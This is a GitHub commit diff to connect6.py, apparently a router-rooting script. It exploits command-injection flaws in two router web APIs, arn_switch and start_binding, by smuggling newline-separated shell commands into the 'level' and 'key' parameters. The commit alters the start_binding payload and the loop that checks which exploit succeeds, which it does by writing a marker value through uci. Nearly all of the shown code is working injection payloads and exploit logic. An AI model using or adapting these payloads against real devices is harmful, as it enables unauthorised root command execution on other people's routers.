Skip to content

Commit c6ee3f4

Browse files
committed
connect6: Fix detection vuln into start_binding
1 parent f42e98a commit c6ee3f4

1 file changed

Lines changed: 12 additions & 12 deletions

File tree

connect6.py

Lines changed: 12 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -44,13 +44,17 @@ def exploit_1(cmd, api = 'API/misystem/arn_switch'):
4444
cmd = cmd.replace(';', '\n')
4545
params = { 'open': 1, 'mode': 1, 'level': "\n" + cmd + "\n" }
4646
res = gw.api_request(api, params, resp = 'text')
47+
time.sleep(0.5)
4748
return res
4849

4950
def exploit_2(cmd, api = 'API/xqsystem/start_binding'):
5051
# vuln/exploit author: ?????????
5152
cmd = cmd.replace(';', '\n')
52-
params = { 'uid': 1234, 'key': "1234'\n" + cmd + "\n'" }
53-
res = gw.api_request(api, params, resp = 'text')
53+
params = { 'uid': 1234, 'key': "1234' -X \n" + cmd + "\n'-E" }
54+
try:
55+
res = gw.api_request(api, params, resp = 'text', timeout = 1.5)
56+
except requests.exceptions.ReadTimeout:
57+
res = ''
5458
return res
5559

5660

@@ -60,17 +64,13 @@ def exploit_2(cmd, api = 'API/xqsystem/start_binding'):
6064
vuln_test_num = 82000011
6165
exec_cmd = None
6266
exp_list = [ exploit_2, exploit_1 ]
63-
for exp_func in exp_list:
64-
try:
65-
res = exp_func(f"uci set diag.config.iperf_test_thr={vuln_test_num} ; uci commit diag")
66-
#if '"code":0' not in res:
67-
# continue
68-
except requests.exceptions.ReadTimeout:
69-
time.sleep(1)
70-
continue
71-
time.sleep(0.5)
67+
for idx, exp_func in enumerate(exp_list):
68+
exp_test_num = vuln_test_num + idx
69+
res = exp_func(f"uci set diag.config.iperf_test_thr={exp_test_num} ; uci commit diag")
70+
#if '"code":0' not in res:
71+
# continue
7272
iperf_test_thr = gw.get_diag_iperf_test_thr()
73-
if iperf_test_thr == str(vuln_test_num):
73+
if iperf_test_thr == str(exp_test_num):
7474
exec_cmd = exp_func
7575
break
7676
time.sleep(0.5)

0 commit comments

Comments
 (0)